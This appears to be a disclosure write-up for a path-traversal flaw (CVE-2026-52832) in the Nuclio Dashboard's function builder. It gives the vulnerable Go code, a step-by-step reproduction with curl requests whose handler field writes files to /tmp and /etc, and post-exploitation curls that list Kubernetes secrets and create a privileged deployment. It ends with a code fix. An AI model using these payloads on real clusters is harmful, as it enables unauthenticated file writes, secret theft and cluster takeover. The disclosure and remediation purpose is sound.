Nuclio Dashboard CVE-2026-52832

// pkg/functionconfig/handler.go:25-38
func ParseHandler(handler string) (string, string, error) {
    moduleAndEntrypoint := strings.Split(handler, ":")
    switch len(moduleAndEntrypoint) {
    case 1:
        return "", moduleAndEntrypoint[0], nil
    case 2:
        // Returns moduleFileName verbatim - no path sanitization
        return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil
    default:
        return "", "", errors.Errorf("Invalid handler name %s", handler)
    }
}

// builder.go:624-657 (abridged)
tempDir, err := b.mkDirUnderTemp("source")
// tempDir = /tmp/nuclio-build-<random>/source

runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)

moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)
// moduleFileName = "../../../../tmp/vul007_proof.txt" - attacker-controlled

if !strings.Contains(moduleFileName, ".") {
    moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)
}
// If moduleFileName already contains ".", no extension is appended
// "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is

sourceFilePath := path.Join(tempDir, moduleFileName)
// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
// = "/tmp/vul007_proof.txt"   <-- escaped tempDir

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath)
if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {
    // Writes attacker-controlled bytes to attacker-controlled path

// builder.go:1053
err := os.RemoveAll(b.tempDir)
// Only removes /tmp/nuclio-build-<random>/ - traversal file outside this tree persists

tempDir  = /tmp/nuclio-build-227825660/source   (depth from /: 3 components)
handler  = "../../../../tmp/vul007_proof.txt:handler"
module   = "../../../../tmp/vul007_proof.txt"

path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt")

Traversal:
  /tmp/nuclio-build-227825660/source  (start)
  ../  -> /tmp/nuclio-build-227825660
  ../  -> /tmp
  ../  -> /  (filesystem root)
  ../  -> /  (cannot go above root)
  tmp/vul007_proof.txt -> /tmp/vul007_proof.txt

Unauthenticated HTTP client
  -> POST /api/functions (no auth, NOP mode)
       dashboard/resource/function.go:156 storeAndDeployFunction()
  -> platform.CreateFunction()
       platform/kube/platform.go:193
  -> abstract/platform.go:191 HandleDeployFunction()
  -> abstract/platform.go:119 CreateFunctionBuild()
  -> builder.Build()
       processor/build/builder.go:195
  -> builder.resolveFunctionPath()
       builder.go:664
  -> builder.writeFunctionSourceCodeToTempFile()   <-- file write here
       builder.go:613
  -> os.WriteFile(attacker_path, attacker_content, 0644)
       builder.go:657

cat > /tmp/kind-vul007-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraMounts:
  - hostPath: /var/run/docker.sock
    containerPath: /var/run/docker.sock
EOF

kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml

Creating cluster "vul-007" ...
 ✓ Ensuring node image (kindest/node:v1.27.3)
 ✓ Preparing nodes
 ✓ Writing configuration
 ✓ Starting control-plane
 ✓ Installing CNI
 ✓ Installing StorageClass
Set kubectl context to "kind-vul-007"

docker exec vul-007-control-plane ls -la /var/run/docker.sock
# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock

# Create namespace
kubectl --context kind-vul-007 create namespace nuclio
# Load container images (if pre-pulled)
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007
# Install with Helm (chart from source: hack/k8s/helm/nuclio)
helm install nuclio ./hack/k8s/helm/nuclio \
  --namespace nuclio \
  --kube-context kind-vul-007 \
  --set controller.image.pullPolicy=Never \
  --set dashboard.image.pullPolicy=Never \
  --set registry.pushPullUrl="localhost:5000" \
  --set dashboard.containerBuilderKind=docker

kubectl --context kind-vul-007 wait -n nuclio \
  --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s
# Expected:
# pod/nuclio-dashboard-b4c5bb96f-txjkt condition met

kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &
sleep 3
# Verify Dashboard is accessible
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions
# HTTP 200

curl -s -X POST http://localhost:8073/api/projects \
  -H "Content-Type: application/json" \
  -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'

curl -v -X POST http://localhost:8073/api/functions \
  -H "Content-Type: application/json" \
  -H "x-nuclio-project-name: default" \
  -d '{
    "metadata": {"name": "vul007-poc", "namespace": "nuclio"},
    "spec": {
      "runtime": "python:3.11",
      "handler": "../../../../tmp/vul007_proof.txt:handler",
      "build": {
        "functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw=="
      },
      "minReplicas": 0,
      "maxReplicas": 1
    }
  }'

HTTP/1.1 202 Accepted

kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \
  | grep -E "temporary dir|Writing function source"

26.05.17 14:55:02.225 (D) dashboard.server.api/functions  Created temporary dir
  {"dir": "/tmp/nuclio-build-227825660/source"}

26.05.17 14:55:02.225 (D) dashboard.server.api/functions  Writing function source code to temporary file
  {"functionPath": "/tmp/vul007_proof.txt"}

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- cat /tmp/vul007_proof.txt

PROVED-PATH-TRAVERSAL-VUL007

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- ls -la /tmp/vul007_proof.txt

-rw-r--r--    1 root     root            28 May 17 14:55 /tmp/vul007_proof.txt

curl -s -X POST http://localhost:8073/api/functions \
  -H "Content-Type: application/json" \
  -H "x-nuclio-project-name: default" \
  -d '{
    "metadata": {"name": "vul007-poc2", "namespace": "nuclio"},
    "spec": {
      "runtime": "python:3.11",
      "handler": "../../../../etc/vul007-marker.txt:handler",
      "build": {
        "functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q="
      }
    }
  }'

26.05.17 14:55:50.666 (D) dashboard.server.api/functions  Writing function source code to temporary file
  {"functionPath": "/etc/vul007-marker.txt"}

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- cat /etc/vul007-marker.txt
# VUL007-PERSISTENT-MARKER-root

kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true
kind delete cluster --name vul-007

Resources         Verbs
secrets           [*]
deployments.apps  [*]
pods              [*]
configmaps        [*]
services          [*]
cronjobs.batch    [*]

# List secrets - HTTP 200
curl -k -H "Authorization: Bearer $SA_TOKEN" \
  "$K8S_API/api/v1/namespaces/nuclio/secrets"
# => returns helm release secret, nuclio SA secret
# Create privileged Deployment - HTTP 201
curl -k -X POST -H "Authorization: Bearer $SA_TOKEN" \
  -H "Content-Type: application/json" \
  "$K8S_API/apis/apps/v1/namespaces/nuclio/deployments" \
  -d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}'
# HTTP_CODE:201

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

# In Dashboard deployment env
- name: NUCLIO_AUTH_KIND
  value: "iguazio"

// pkg/processor/build/builder.go - fix for writeFunctionSourceCodeToTempFile
sourceFilePath := path.Join(tempDir, moduleFileName)

// Verify resolved path is within tempDir
absPath, err := filepath.Abs(sourceFilePath)
if err != nil {
    return "", errors.Wrap(err, "Failed to resolve absolute path")
}
absTempDir, err := filepath.Abs(tempDir)
if err != nil {
    return "", errors.Wrap(err, "Failed to resolve absolute tempDir")
}
if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {
    return "", errors.Errorf(
        "handler module path escapes build directory: %s", moduleFileName)
}

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", absPath)
if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {